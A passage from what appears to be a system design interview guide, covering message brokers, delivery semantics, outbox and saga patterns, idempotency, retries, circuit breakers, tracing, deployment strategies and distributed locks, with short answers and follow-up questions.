Q2 Compare Kafka, RabbitMQ and SQS.

BASIC

Kafka is a partitioned, replicated, retained log for high-throughput streaming and replay; RabbitMQ is a smart broker for flexible routing and task queues; SQS is a fully managed queue with minimal ops.

Aspect	Kafka	RabbitMQ	SQS
Model	Log, consumers track offsets	Exchange/queue, broker pushes	Pull queue
Retention	Time/size based, replayable	Deleted after ack	Up to 14 days, deleted after ack
Ordering	Per partition	Per queue (single consumer)	FIFO queues (per message group)
Throughput	Millions msg/s	Tens of thousands/s	Near-unlimited standard
Routing	Topic/partition	Direct, topic, fanout, headers	None (use SNS fan-out)

- Choose Kafka for event streams, multiple independent consumers, replay, CDC; RabbitMQ/SQS for job queues and per-message retry/DLQ.

FOLLOW-UP TRAPS

- **Can Kafka replace a task queue?** Poorly: no per-message ack/retry/delay; head-of-line blocking inside a partition.
- **Does SQS Standard preserve order?** No, best-effort order and at-least-once delivery.

#kafka #rabbitmq #sqs

Q3 Explain at-most-once, at-least-once and exactly-once delivery. INTERMEDIATE

At-most-once may lose messages (no retry); at-least-once never loses but may duplicate (retry on failure); exactly-once means each message's effect is applied once, achieved via idempotence or transactions, not by the network.

- Practical recipe: at-least-once delivery plus idempotent consumers = effectively-once.
- Kafka: idempotent producer (`enable.idempotence=true`, default since 3.0) dedupes producer retries per partition; transactions plus `read_committed` give atomic consume-transform-produce within Kafka.
- Exactly-once across external systems (DB, email) is not possible by the broker alone; make those operations idempotent.

FOLLOW-UP TRAPS

- **Is Kafka's EOS end to end?** Only for Kafka-to-Kafka flows; side effects elsewhere need idempotency.
- **Why do duplicates occur even in healthy systems?** Ack lost after processing, consumer rebalance, producer retry.

#delivery-semantics #exactly-once

Q4 What is the transactional outbox pattern and what problem does it solve? INTERMEDIATE

It solves the dual-write problem: updating the DB and publishing an event are two systems and cannot be atomic. Write the event into an `outbox` table in the same DB transaction as the business change; a separate relay publishes it.

```
Tx: INSERT order; INSERT outbox(event)  --commit-->  DB
Relay (poller or CDC/Debezium) -> Kafka -> consumers (idempotent)
```

- Relay options: polling `SELECT ... FOR UPDATE SKIP LOCKED`, or log-based CDC (Debezium), which avoids polling load.
- Delivery is at-least-once, so events carry a unique ID for consumer deduplication.
- Order within an aggregate is preserved by using the aggregate ID as the partition key.

FOLLOW-UP TRAPS

- **Why not publish after commit in code?** A crash between commit and publish loses the event.
- **Why not publish before commit?** A rollback leaves a phantom event for a change that never happened.

#outbox #dual-write #cdc

Q5 What is event sourcing and what are its costs? INTERMEDIATE

Instead of storing current state, store an append-only sequence of domain events; state is derived by replaying them (with snapshots for speed).

- Benefits: full audit trail, temporal queries, rebuild new read models, debugging by replay.
- Costs: event schema evolution (upcasters/versioning), eventual consistency of projections, harder ad-hoc queries, learning curve, GDPR deletion (crypto-shredding).
- Rule: events are immutable facts; fix errors with compensating events.
- Fits finance, ledgers, workflows; overkill for plain CRUD.

FOLLOW-UP TRAPS

- **Is event sourcing the same as publishing events?** No; sourcing makes events the system of record, publishing is just integration.
- **How to avoid replaying millions of events?** Periodic snapshots plus replay of the tail.

#event-sourcing

Q6 Explain CQRS and when it is justified. INTERMEDIATE

CQRS separates the write model (commands, invariants) from one or more read models (queries optimized for views), usually updated asynchronously via events.

```
Command -> Write model (normalized/ES) -> events -> Projector -> Read store
(denormalized/ES/Redis)
Query ------------------------------------------------------------^
```

- Justified when read and write shapes or scale differ greatly (dashboards, search, feed).
- Costs: eventual consistency (read-your-writes UX handling), duplicated models, projection lag and rebuilds.
- Can be used without event sourcing (a simple replica or materialized view).

FOLLOW-UP TRAPS

- **Does CQRS require two databases?** No; it can be separate models over one DB.
- **How do you show a just-created item?** Return it from the command response or read from the write side briefly.

#cqrs #read-models

Q7 How does Kafka guarantee ordering and how do partitions and consumer groups work? INTERMEDIATE

Order is guaranteed only within a partition. The producer picks the partition by key hash, so all events for a key stay ordered. Within a consumer group, each partition is consumed by exactly one member.

- Max parallelism of a group = number of partitions; extra consumers sit idle.
- Rebalances reassign partitions on member join/leave; cooperative-sticky assignor reduces stop-the-world.
- Offsets committed per group/partition; commit after processing for at-least-once.
- Increasing partition count later changes key-to-partition mapping and breaks per-key ordering for new data.

FOLLOW-UP TRAPS

- **Is there global ordering in a topic?** No, only per partition; one partition gives total order but no parallelism.
- **What breaks ordering on producer retries?** With `max.in.flight.requests.per.connection` > 5, or without idempotence, retries can reorder; idempotent producer preserves order up to 5 in flight.

#kafka #ordering #consumer-groups

Q8 What is idempotency and how do you implement an idempotent API or consumer? BASIC

An operation is idempotent if repeating it has the same effect as doing it once. Implement with an idempotency key stored atomically with the effect.

```
INSERT INTO processed_events(event_id) VALUES (:id)
ON CONFLICT DO NOTHING;   -- in the same transaction as the business update
```

- API: client sends `Idempotency-Key`; server stores key plus response for 24h and replays it on retry (Stripe style).
- Natural idempotency: `PUT` with full state, `SET status = 'PAID'`, upserts by business key.
- Not idempotent: `POST /charge`, `balance = balance + 10` without a dedup key.
- Same key with different payload should return an error (422/409).

FOLLOW-UP TRAPS

- **Is `DELETE` idempotent?** Yes in effect, though the second call may return 404.
- **Is a Redis `SETNX` check before processing enough?** No; a crash between check and effect creates loss or duplicates unless atomic with the effect.

#idempotency #dedup

Q9 What are dead-letter queues and retry strategies for message consumers? INTERMEDIATE

A DLQ stores messages that failed after bounded retries so they stop blocking the queue and can be inspected or replayed.

- Distinguish transient errors (retry with exponential backoff and jitter) from poison messages (non-retryable: deserialization, validation; send to DLQ immediately).
- Kafka has no per-message retry: use retry topics (`orders.retry.5s`, `.1m`) then `orders.dlq`, or Spring Kafka `@RetryableTopic`.
- SQS: `maxReceiveCount` redrive to DLQ; RabbitMQ: dead-letter exchanges with TTL for delays.
- Alert on DLQ depth; keep headers with error cause and original topic/offset.

FOLLOW-UP TRAPS

- **What if you retry in place on a Kafka partition?** It blocks all later messages in that partition.
- **Is the DLQ a bin?** No, it needs an owner and a replay tool.

#dlq #retries #messaging

Q10 What is backpressure and how can a messaging system apply it? INTERMEDIATE

Backpressure is the mechanism by which a slow consumer signals producers to slow down, preventing unbounded buffering and memory exhaustion.

- Pull-based systems (Kafka, SQS) have natural backpressure: consumers fetch at their own pace; lag grows instead of the consumer being overwhelmed.
- Push-based: bounded queues, prefetch limits (RabbitMQ `basic.qos`), reactive streams `request(n)`, TCP window, HTTP 429/503.
- Strategies when saturated: block, drop (newest/oldest), sample, or shed to a lower tier.
- Monitor consumer lag and queue depth; autoscale consumers on lag up to partition count.

FOLLOW-UP TRAPS

- **Is a bigger queue a fix?** No, it hides overload and increases latency; bound it and decide what to drop.
- **How does a synchronous HTTP producer know?** Via 429/503 responses and client-side limits.

#backpressure #flow-control

Q11 How do relational vs NoSQL stores differ in indexing and data modeling? INTERMEDIATE

Relational modeling normalizes data and lets the planner choose indexes per query; NoSQL (Dynamo/Cassandra) models tables around known queries, with denormalization and partition-key design.

- DynamoDB: partition key picks the node, sort key orders within it; query by key only; GSIs for alternate access (eventually consistent, extra write cost). Single-table design co-locates related items.
- Cassandra: one table per query, primary key = (partition key, clustering columns); no joins; avoid unbounded partitions (keep < ~100 MB).
- Relational: B-tree indexes, composite index column order (leftmost prefix), covering indexes.
- Hot partition risk in NoSQL when the key is low-cardinality or time-based.

FOLLOW-UP TRAPS

- **Can you run ad-hoc queries in DynamoDB?** Only via scans (expensive) or exporting to a query engine.
- **Why is the order of columns in a composite index important?** The index serves queries on a leftmost prefix.

#data-modeling #indexing #dynamodb

Q12 What is the difference between a message queue and an event stream, and pub/sub vs point-to-point? BASIC

A queue delivers each message to one consumer and removes it (work distribution); a stream is a retained log that many consumers read independently at their own offsets (event distribution and replay). Pub/sub fans a message to all subscribers; point-to-point to one.

- Queue example: image-resize jobs, email sending.
- Stream example: order events consumed by billing, analytics, search indexer.
- Kafka does both: consumers in one group = queue semantics; multiple groups = pub/sub.
- SNS + SQS fan-out gives managed pub/sub with per-consumer queues.

FOLLOW-UP TRAPS

- **Can a new consumer see old events?** In a stream yes (offset reset/replay), in a classic queue no.
- **Command vs event?** Commands ask a specific target to act; events state facts that others may react to.

#queue #stream #pubsub

Q13 What are database transactions and isolation levels, and which anomalies does each prevent? ADVANCED

ACID transactions group operations atomically; isolation level determines which concurrency anomalies are allowed.

Level	Dirty read	Non-repeatable	Phantom	Write skew
Read committed	No	Possible	Possible	Possible
Repeatable read (snapshot)	No	No	Possible/No*	Possible
Serializable	No	No	No	No

- *Postgres RR is snapshot isolation, which prevents phantoms but allows write skew; MySQL InnoDB RR uses gap locks.
- Defaults: Postgres read committed, MySQL repeatable read.
- Serializable in Postgres (SSI) may abort transactions; applications must retry.
- Prevent lost updates with `SELECT ... FOR UPDATE`, optimistic version column, or atomic `UPDATE ... SET x = x + 1`.

FOLLOW-UP TRAPS

- **What is write skew?** Two transactions read overlapping data and update different rows, jointly breaking an invariant (e.g. both doctors go off call).
- **Is optimistic locking safe under high contention?** Retries explode; use pessimistic locks or redesign.

#transactions #isolation #acid

Scenarios

Q14 Orders are saved to the DB and an `OrderCreated` event is sent to Kafka; occasionally the event is lost. Fix it.

INTERMEDIATE

The service does a dual write; a crash or broker outage after commit drops the event. Adopt the transactional outbox.

```
@Transactional
public void place(Order o) {
    orders.save(o);
    outbox.save(new OutboxEvent(UUID.randomUUID(), "order", o.getId(),
        "OrderCreated", toJson(o)));   // same transaction
}
```

- A relay (Debezium CDC or scheduled poller) reads the table, publishes with key = order id, then marks/deletes rows.
- Consumers dedupe on event id.
- Expected result: no lost events; duplicates possible but harmless.

FOLLOW-UP TRAPS

- **Why not `@TransactionalEventListener(AFTER_COMMIT)` publishing?** It still loses the event if the process dies right after commit.
- **How to keep the outbox small?** Delete published rows or partition by time.

#outbox #dual-write #scenario

Q15 A Kafka consumer processes payments and sometimes charges twice after a rebalance. Why and how to fix?

ADVANCED

Offsets are committed after processing; if a rebalance or crash happens between side effect and commit, another consumer reprocesses the message (at-least-once). The side effect is not idempotent.

- Make the charge idempotent: pass the event/payment ID as the payment provider's idempotency key and record it in a unique-constrained table in the same DB transaction.
- Commit offsets only after success; handle `ConsumerRebalanceListener` to finish/abandon in-flight work.
- Tune `max.poll.interval.ms` / `max.poll.records` so slow processing does not trigger a rebalance.
- Do not rely on Kafka transactions for non-Kafka side effects.

FOLLOW-UP TRAPS

- **Would auto-commit help?** It can lose messages (commit before processing) or still duplicate.
- **Does static membership help?** It reduces rebalances for restarts but not for crashes beyond session timeout.

#kafka #duplicates #idempotency

Q16 Design ordering for per-user events in a system with many partitions and consumers.

INTERMEDIATE

Use the user (or aggregate) ID as the partition key so all of a user's events land in one partition and are handled sequentially by one consumer.

- Order across different users is not needed; this gives parallelism = #partitions.
- Hot users cause partition skew; use a composite key only if ordering is needed per smaller entity.
- Process within the partition sequentially (or per-key sequential workers), since parallel handling in one consumer breaks order.
- Include a per-aggregate sequence number so consumers can detect gaps or out-of-order arrivals.
- Do not increase partitions casually: key mapping changes.

FOLLOW-UP TRAPS

- **Does a retry topic preserve order?** No; retried messages arrive after later ones, so use versions to discard stale updates.
- **What about multi-aggregate ordering?** Requires one partition or application-level reconciliation.

#ordering #kafka #partitioning

Q17 A consumer is falling behind: lag grows from 0 to 5M messages. How do you investigate and respond?

INTERMEDIATE

Determine whether production rose or consumption slowed, then scale or fix the bottleneck.

- Check: producer rate, per-partition lag (skew implies hot key), consumer CPU, downstream latency (DB, HTTP), rebalance storms, GC pauses.
- Quick wins: batch DB writes, async I/O with bounded concurrency, increase `max.poll.records`, add consumers (up to partition count).
- If consumers = partitions already: repartition to a new topic with more partitions and migrate, or parallelize inside the consumer while committing offsets in order.
- Protect downstream with rate limits; temporarily shed low-priority topics.

FOLLOW-UP TRAPS

- **Will adding more consumers than partitions help?** No, the extras are idle.
- **Is lag in messages or time the better alert?** Time lag (age of oldest unprocessed) reflects user impact.

#kafka #lag #operations

Q18 Choose between RabbitMQ, Kafka and SQS for (a) email sending jobs, (b) clickstream analytics, (c) order events for 5 consumers.

BASIC

Match the model to the workload.

- (a) Email jobs: SQS or RabbitMQ; per-message ack, retries, delays, DLQ, no replay needed.
- (b) Clickstream: Kafka (or Kinesis); very high throughput, retained log, replay, stream processing.
- (c) Order events, 5 consumers: Kafka (consumer groups per service, replay for new consumers), or SNS + SQS if managed, simple fan-out suffices.
- Prefer managed offerings (MSK, Confluent, SQS) unless the team can operate brokers.

FOLLOW-UP TRAPS

- **Why not use Kafka for everything?** Operational cost and a poor fit for delayed/priority/per-message retry jobs.
- **Is SQS FIFO enough for strict order?** Per message group only, with throughput limits (higher with high-throughput mode).

#messaging #selection

Q19 Design a CQRS read model for a product search page fed from the orders and catalog services.

ADVANCED

Write services emit events (via outbox); a projector consumes them idempotently and maintains a denormalized Elasticsearch index optimized for queries.

```
Catalog DB --outbox--> Kafka --> Projector --> Elasticsearch  <-- Search API
Orders DB  --outbox--> Kafka ----^
```

- Projection is idempotent using the event version: ignore events with version <= stored version.
- Rebuild by replaying the topic into a new index and swapping an alias (blue/green index).
- Accept seconds of staleness; monitor projection lag; use a fallback to DB for details.

FOLLOW-UP TRAPS

- **What if the projector sees events out of order?** Version check or per-key partitioning prevents applying stale updates.
- **Why alias swap?** Zero-downtime reindex and easy rollback.

#cqrs #projections #design

Q20 An API client retries a payment POST after a timeout. How do you prevent a double charge? BASIC

Require an `Idempotency-Key` header: store key, request hash and result atomically; a retry with the same key returns the stored response instead of charging again.

- Steps: insert key row (unique) in the same transaction as the charge record; concurrent duplicates block or get 409 "in progress".
- TTL keys (e.g. 24 hours); scope per client/account.
- Propagate the key to the payment provider as well.
- On a timeout the client does not know the outcome, so it must retry with the same key and not generate a new one.

FOLLOW-UP TRAPS

- **What if the same key arrives with a different body?** Reject with 422; it is a client bug.
- **Where do you store keys?** In the same DB as the business data to be atomic; Redis alone can lose them.

#idempotency #payments #api

Q21 When is event sourcing a bad idea? Give a concrete case and the alternative. ADVANCED

For simple CRUD with heavy ad-hoc querying, short-lived data, strict immediate consistency needs, or teams without the tooling, event sourcing adds cost without benefit. Example: an admin settings service.

- Pain points: schema evolution of old events, replay time, projections lag, privacy deletion.
- Alternative: normal tables plus an audit/history table or CDC log to get auditability cheaply.
- Use it where history is the domain (ledger, order lifecycle, inventory movements).

FOLLOW-UP TRAPS

- **Can you delete a user's data in an event store?** Not directly; use crypto-shredding (delete the per-user key) or redaction events.
- **Does ES give free scalability?** No, it makes writes cheap (append) but reads need projections.

#event-sourcing #trade-offs

Q22 Messages must be processed in order but also at high throughput. How do you reconcile these? ADVANCED

Order only what needs ordering: partition by entity key so each entity is sequential while entities run in parallel.

- SQS FIFO: use `MessageGroupId` = entity; RabbitMQ: consistent-hash exchange across queues with one consumer per queue.
- If a handler can take arbitrary time, use per-key sequential executors inside the consumer.
- Alternatively make operations commutative or version-based (last-version-wins), so order stops mattering.
- Global total order caps throughput to one partition/leader.

FOLLOW-UP TRAPS

- **Does multi-threaded processing preserve order?** Not unless keyed to the same thread.
- **How do you handle a poison message in an ordered stream?** Park the key on a retry/DLQ with a block, or skip with a compensating action; no free option.

#ordering #throughput #trade-offs

Q23 Your Postgres table has 2B rows and queries are slow. Walk through your options before reaching for NoSQL. INTERMEDIATE

Fix the access pattern first, then scale the same engine, then change engines.

1. `EXPLAIN (ANALYZE, BUFFERS)`; add or fix composite/covering/partial indexes; avoid `OFFSET` pagination (use keyset).
2. Partition by time or tenant (declarative partitioning) so queries prune and old partitions drop cheaply.
3. Archive cold data; read replicas for reporting; cache hot reads.
4. Vertical scale, connection pooling (PgBouncer).
5. Shard (Citus/Vitess-style) or move specific workloads (search, time series, wide key-value) to purpose-built stores.

FOLLOW-UP TRAPS

- **Does partitioning always speed queries?** Only when predicates include the partition key.
- **Is NoSQL a drop-in?** No, it requires remodeling around queries and losing joins/transactions.

#postgres #scaling #partitioning

Q24 Design a notification system that fans out to email, SMS and push for 10M users without overloading providers. ADVANCED

Accept events into a durable stream, expand them into per-channel queues, and have rate-limited workers per provider.

```
Event -> Kafka(notifications) -> Preference/Template service
      -> email queue | sms queue | push queue -> workers(rate limited) -> providers
                                                  \-> retry queue -> DLQ
```

- Idempotency key per (user, notification) prevents duplicates on retries.
- Worker concurrency and token buckets match provider limits; priority queues so OTPs bypass marketing.
- Per-provider circuit breaker with fallback provider; honour user preferences and quiet hours.
- Batching and campaigns: chunk 10M into pages and enqueue progressively to smooth load.

FOLLOW-UP TRAPS

- **Why separate queues per channel?** Isolation: a slow SMS provider must not delay email.
- **How do you report delivery status?** Provider webhooks into a status store, matched via message ID.

#fan-out #queues #backpressure

Q25 How would you migrate a service from synchronous REST calls to events without breaking consumers? ADVANCED

Dual-run: publish events alongside the existing API, migrate consumers one by one, then retire the sync call.

- Publish with the outbox so events are reliable; define a schema in Avro/Protobuf/JSON Schema in a registry with compatibility rules (BACKWARD for consumers upgrading first).
- Only additive changes: new optional fields, never rename or retype; use new event types for breaking changes.
- Shadow-compare results between old and new paths before cutover.
- Keep events as facts (past tense, `OrderPlaced`), not RPC in disguise.

FOLLOW-UP TRAPS

- **Backward vs forward compatibility?** Backward: new readers read old data; forward: old readers read new data; choose by who upgrades first.
- **Can you delete a field?** Only if optional/with default, after all consumers stop using it.

#migration #schema-evolution #events

SYSTEM DESIGN · CHAPTER 4

Microservices & Resilience

Service boundaries, discovery, sagas, circuit breakers, bulkheads, retries, tracing, deployment strategies, consensus, distributed locks and observability with failure scenarios.

25 questions **6** basic **12** intermediate **7** advanced

Concepts

Q1 How do you decide microservice boundaries? BASIC

Draw boundaries around business capabilities (DDD bounded contexts) so a service owns its data and changes independently; avoid splitting by technical layer.

- Signals of a good boundary: high cohesion, low coupling, one team owns it, independent deploy and scaling, its own database.
- Smells: services that must deploy together, chatty synchronous call chains, shared DB tables, distributed transactions everywhere (distributed monolith).
- Start with a modular monolith and extract when team size or scaling needs justify it.

FOLLOW-UP TRAPS

- **One service per entity?** No, that yields anemic CRUD services and heavy cross-service joins.
- **Can two services share a database?** Not if you want independence; share through APIs or events.

#microservices #ddd #boundaries

Q2 How does service discovery work, client-side vs server-side? BASIC

Instances register their address in a registry (or the platform tracks them); callers resolve a logical name to healthy instances.

- Client-side: client queries a registry (Eureka, Consul) and load balances itself (Spring Cloud LoadBalancer).
- Server-side: a router/LB looks up instances (Kubernetes Service + kube-proxy/DNS, AWS ALB).
- Registrations are kept alive with heartbeats/TTL or health checks; stale entries cause failed calls, so combine with retries and outlier ejection.
- On Kubernetes prefer built-in DNS `service.namespace.svc` over a separate registry.

FOLLOW-UP TRAPS

- **What happens if the registry is down?** Clients should use their cached instance list (Eureka is AP and favours availability).
- **Does K8s DNS balance per request?** No, per connection; long-lived connections stick.

#service-discovery #eureka #kubernetes

Q3 Describe the saga pattern: choreography vs orchestration. INTERMEDIATE

A saga is a sequence of local transactions, each with a compensating action, replacing a distributed ACID transaction. Choreography uses events between services; orchestration uses a central coordinator.

	Choreography	Orchestration
Control	Decentralized events	Central saga orchestrator
Coupling	Services know events	Orchestrator knows services
Visibility	Hard to follow	Explicit state machine
Fits	Few steps	Many steps, complex branching

```
Order -> Payment -> Inventory -> Shipping
fail at Inventory: refund Payment (compensate), cancel Order
```

- Sagas give ACD (no isolation): intermediate states are visible; use semantic locks, pending states, commutative updates.
- Compensations must be idempotent and retryable; steps use outbox for reliable messaging.

FOLLOW-UP TRAPS

- **Is a compensation a rollback?** No, it is a new business action (refund) and may not perfectly undo.
- **Why not 2PC?** Blocking coordinator, lock holding, poor availability and no support in most brokers or NoSQL stores.

#saga #distributed-transactions

Q4 Explain the circuit breaker pattern and its states. INTERMEDIATE

A circuit breaker stops calling a failing dependency to fail fast and give it time to recover. States: CLOSED (calls pass, failures counted), OPEN (calls rejected immediately), HALF-OPEN (a few trial calls decide to close or reopen).

```
CLOSED --failure rate > threshold--> OPEN --wait duration--> HALF_OPEN
  ^                                                           |
  +----------------- trial calls succeed -------------------------+ (else back to OPEN)
```

- Resilience4j settings: `slidingWindowSize`, `failureRateThreshold`, `waitDurationInOpenState`, `permittedNumberOfCallsInHalfOpenState`, slow-call thresholds.
- Combine with a fallback (cache, default, degraded feature) and timeouts.

FOLLOW-UP TRAPS

- **Does it replace timeouts?** No; timeouts bound each call, the breaker stops further calls.
- **Should 4xx errors trip it?** Generally no; count only dependency faults (5xx, timeouts).

#circuit-breaker #resilience4j

Q5 What is the bulkhead pattern? INTERMEDIATE

Bulkheads isolate resources (thread pools, semaphores, connection pools, even instances) per dependency or tenant so one slow dependency cannot exhaust shared capacity.

- Thread-pool bulkhead: dedicated pool per downstream; semaphore bulkhead: cap concurrent calls (cheap, works with virtual threads/reactive).
- Separate connection pools and queues per critical path (checkout vs browse).
- Cell-based architecture isolates whole user cohorts.
- Size using Little's Law: concurrency = rate x latency.

FOLLOW-UP TRAPS

- **Do bulkheads replace circuit breakers?** No, bulkheads limit blast radius, breakers stop calling an unhealthy service.
- **Cost of thread-pool bulkheads?** Context switching and idle threads; semaphores avoid it.

#bulkhead #isolation

Q6 How should retries be designed to help rather than hurt?

INTERMEDIATE

Retry only idempotent, transient failures, with a bounded count, exponential backoff, and jitter, within an overall deadline; otherwise retries amplify outages.

- Backoff: delay = min(cap, base x 2^n) with full jitter (random 0..delay) to desynchronize clients.
- Retry on timeouts, 503, connection reset; not on 4xx or validation errors.
- Retry at one layer only; stacked retries multiply (3 layers x 3 retries = 27 calls).
- Use retry budgets (e.g. retries <= 10% of requests) and propagate deadlines.

FOLLOW-UP TRAPS

- **Is retrying a POST safe?** Only with an idempotency key.
- **Why jitter?** Without it clients retry in synchronized waves (thundering herd).

#retries #backoff #jitter

Q7 How do timeouts and deadlines work across a call chain?

INTERMEDIATE

Every remote call needs a timeout; the caller's timeout should exceed the sum of downstream latency plus retries, and ideally a deadline is propagated so downstream work stops when the caller has given up.

- Set connect and read timeouts separately; defaults are often infinite.
- Downstream timeouts must be shorter than upstream ones, or upstream times out while downstream keeps working.
- gRPC propagates deadlines natively; for HTTP pass `X-Request-Deadline` or use budget headers.
- Choose from observed p99 plus margin, not guesses.

FOLLOW-UP TRAPS

- **What happens with no timeout?** Threads and connections pile up until the caller dies.
- **Is a larger timeout safer?** No, it ties up resources longer under failure.

#timeouts #deadlines

Q8 What is distributed tracing and how does context propagation work?

BASIC

A trace is the end-to-end path of a request through services; it consists of spans (timed operations) linked by parent IDs. A trace ID is generated at the edge and propagated via headers.

- W3C `traceparent: 00-<trace-id>-<span-id>-<flags>` is the standard; B3 is legacy Zipkin.
- Spring Boot 3: Micrometer Tracing with OpenTelemetry/Brave bridge; Boot auto-instruments `RestTemplate` / `WebClient` /messaging.
- Propagate through message headers (Kafka) and async executors (context-aware wrappers).
- Sampling (head-based percentage or tail-based on errors/latency) controls cost.
- Put the trace ID in logs (MDC) to join logs and traces.

FOLLOW-UP TRAPS

- **Why does a trace break at a thread pool?** Context is thread-local and must be explicitly propagated.
- **Is 100% sampling OK?** Costly at scale; use tail sampling to keep slow/error traces.

#tracing #opentelemetry #observability

Q9 Compare deployment strategies: rolling, blue-green, canary, and feature flags.

BASIC

They trade rollout speed, cost and rollback ease.

Strategy	How	Rollback	Cost
Rolling	Replace instances gradually	Slow (roll back)	Low
Blue-green	Two full environments, switch traffic	Instant switch	2x capacity
Canary	Send 1-5% traffic to new version, expand on SLO health	Fast (shift traffic)	Low, needs metrics
Feature flags	Deploy dark, enable per cohort	Instant toggle	Flag debt
Shadow	Mirror traffic, discard response	n/a	Extra load

- Database changes need expand/contract migrations so old and new versions run together.
- Automate canary analysis (error rate, latency vs baseline) with auto-rollback.

FOLLOW-UP TRAPS

- **Why is blue-green hard with databases?** Both versions share one schema; use backward-compatible migrations.
- **Rolling deploy with incompatible API change?** Mixed versions break; version APIs or deploy in two phases.

#deployment #canary #blue-green

Q10 Explain consensus (Raft/Paxos) and how leader election works. ADVANCED

Consensus lets a cluster agree on a value (a log) despite failures, tolerating f failures with 2f+1 nodes. Raft elects a leader per term; the leader replicates log entries and commits once a majority acknowledges.

- Election: a follower whose election timeout expires becomes candidate, increments term, requests votes; a majority wins; randomized timeouts avoid split votes.
- Safety: a candidate must have an up-to-date log; committed entries are never lost.
- Use odd cluster sizes (3 tolerates 1, 5 tolerates 2); latency is bound by the slowest node in the majority.
- Used in etcd, Consul, Kafka KRaft, CockroachDB; ZooKeeper uses ZAB.

FOLLOW-UP TRAPS

- **Why is 4 nodes no better than 3?** Majority is 3, so it still tolerates only 1 failure.
- **What prevents two leaders?** Terms and majority votes: an old leader without a quorum cannot commit.

#consensus #raft #leader-election

Q11 How do distributed locks work and what are their hazards? ADVANCED

A distributed lock gives mutual exclusion across processes, typically via a lease (TTL) in Redis, or a consensus store (ZooKeeper/etcd). Leases can expire while the holder is paused (GC, network), so use fencing tokens.

```
Client A gets lock token=33, pauses (GC)
Lease expires; Client B gets token=34, writes
Client A resumes, writes with token=33 -> storage rejects (33 < 34)
```

- Redis: `SET lock:x <uuid> NX PX 30000`; release with a Lua check-and-delete on the uuid.
- Redlock is contested for correctness-critical use; prefer etcd/ZooKeeper with fencing for strict safety.
- Often avoidable: use DB unique constraints, optimistic locking, or idempotent operations.

FOLLOW-UP TRAPS

- **Why a unique value for the lock?** So a client cannot release another client's lock after expiry.
- **Can a lock guarantee safety alone?** No, without fencing a paused client can still act after losing the lease.

#distributed-lock #redis #fencing

Q12 What are the three pillars of observability and how do metrics (RED/USE) fit? BASIC

Logs (events), metrics (aggregated numbers over time), and traces (request paths); together they let you ask new questions of a running system.

- RED for services: Rate, Errors, Duration. USE for resources: Utilization, Saturation, Errors. Google's four golden signals: latency, traffic, errors, saturation.
- Metrics: Micrometer to Prometheus, with low-cardinality labels (never user IDs).
- Logs: structured JSON with correlation/trace IDs; centralize (ELK/Loki).
- Alert on symptoms (SLO burn) and use dashboards plus traces for diagnosis.
- Health: separate liveness (restart me) from readiness (do not send traffic).

FOLLOW-UP TRAPS

- **What is the cardinality problem?** Each unique label combination is a time series; unbounded labels explode storage.
- **Should liveness check the DB?** No, a DB blip would restart healthy pods; put dependencies in readiness at most.

#observability #metrics #logging

Q13 What are the strategies for inter-service communication: sync REST/gRPC vs async messaging? INTERMEDIATE

Sync calls give simple request-response but couple availability and latency; async messaging decouples in time at the cost of eventual consistency and harder flow tracking.

Aspect	REST/gRPC	Messaging
Coupling	Temporal	Loose
Availability	Product of services	Producer unaffected by consumer outage
Fit	Queries, user-facing latency	Commands with long work, events, integration
Debugging	Easy	Needs tracing and correlation

- gRPC: HTTP/2, protobuf, streaming, strong contracts; REST: ubiquitous, cacheable.
- Rule of thumb: query synchronously, propagate state changes asynchronously.

FOLLOW-UP TRAPS

- **Is REST between services bad?** No, but long sync chains multiply failure and latency.
- **How to give a sync UX over async work?** Return 202 Accepted with a status URL, or use WebSocket/polling for completion.

#communication #grpc #messaging

Scenarios

Q14 A slow downstream service makes your whole API unresponsive. What happens and how do you contain it? INTERMEDIATE

Requests to the slow service hold threads (Tomcat 200 default) until all are blocked, so unrelated endpoints starve; the failure cascades.

- Add connect/read timeouts (e.g. 500 ms-2 s) on every client.
- Circuit breaker with a fallback so calls fail fast once the failure rate trips.
- Bulkhead: limit concurrent calls to that dependency (semaphore or separate pool) so remaining capacity serves other paths.
- Load shed with bounded queues; use async/virtual threads to cut thread cost but still cap concurrency.

- Test with fault injection (Toxiproxy, chaos experiments).

> **FOLLOW-UP TRAPS**
> - **Do virtual threads remove the need for bulkheads?** No, they make threads cheap but downstream and DB connections are still finite.
> - **Should the fallback call a second service?** Be careful: it may overload that one too.

#cascading-failure #timeouts #bulkhead

Q15 **Design a saga for "place order": reserve inventory, charge payment, create shipment. Payment fails after inventory is reserved.** INTERMEDIATE

Use an orchestrated saga: state machine persisted in the orchestrator; each step is a command with a matching compensation.

Step	Action	Compensation
1	Reserve inventory	Release inventory
2	Charge payment	Refund payment
3	Create shipment	Cancel shipment

- Payment fails: orchestrator issues `ReleaseInventory`, marks order `CANCELLED`.
- Order state `PENDING` until success so users see consistent intermediate state.
- Commands and replies use outbox plus idempotent handlers; compensations retry until success.
- Timeouts on each step trigger compensation; reservations carry TTL as a safety net.

> **FOLLOW-UP TRAPS**
> - **What if the compensation fails?** Retry with backoff; after a limit alert for manual resolution; never silently drop.
> - **How do you order steps?** Put the hardest-to-reverse step (shipment) last, and cheap to undo first.

#saga #compensation #scenario

Q16 **You deploy v2 and error rates rise to 3% only for some users. How do you set up the rollout to catch this safely?** INTERMEDIATE

Use a progressive canary with automated analysis: 1% then 5%, 25%, 50%, 100%, gating each step on SLI comparison against the baseline and rolling back automatically.

- Argo Rollouts/Flagger with Prometheus queries (error rate, p99 vs baseline).
- Segment canary by cohort (internal users first, then region) to limit blast radius.
- Pair with feature flags to disable the new behaviour without redeploying.
- Keep database changes backward compatible (expand, migrate, contract) so rollback is possible.
- Soak long enough to cover rare paths and cache-warm effects.

> **FOLLOW-UP TRAPS**
> - **Why not just run tests in staging?** Production traffic mix and data expose issues staging cannot.
> - **Is 1% of traffic enough to detect a 3% error rate?** Only with enough volume; check sample size before trusting the gate.

#canary #deployment #rollback

Q17 **Two instances of a scheduled job run simultaneously and send duplicate emails. Fix it.** BASIC

Each replica runs its own `@Scheduled` method. Ensure only one runs per tick using a lock or a leader.

- ShedLock with a DB or Redis lock row: `@SchedulerLock(name = "dailyEmails", lockAtMostFor = "10m", lockAtLeastFor = "1m")`.

- Or run the job as a Kubernetes CronJob (single run), or use Quartz clustered mode, or leader election.
- Still make the work idempotent: locks with TTL can overlap after a pause.

> **FOLLOW-UP TRAPS**
> - **What is `lockAtMostFor` for?** Releases the lock if the node dies mid-run.
> - **Is the lock enough to prevent duplicates?** No; add idempotency (processed flags) for safety.

#scheduling #distributed-lock #shedlock

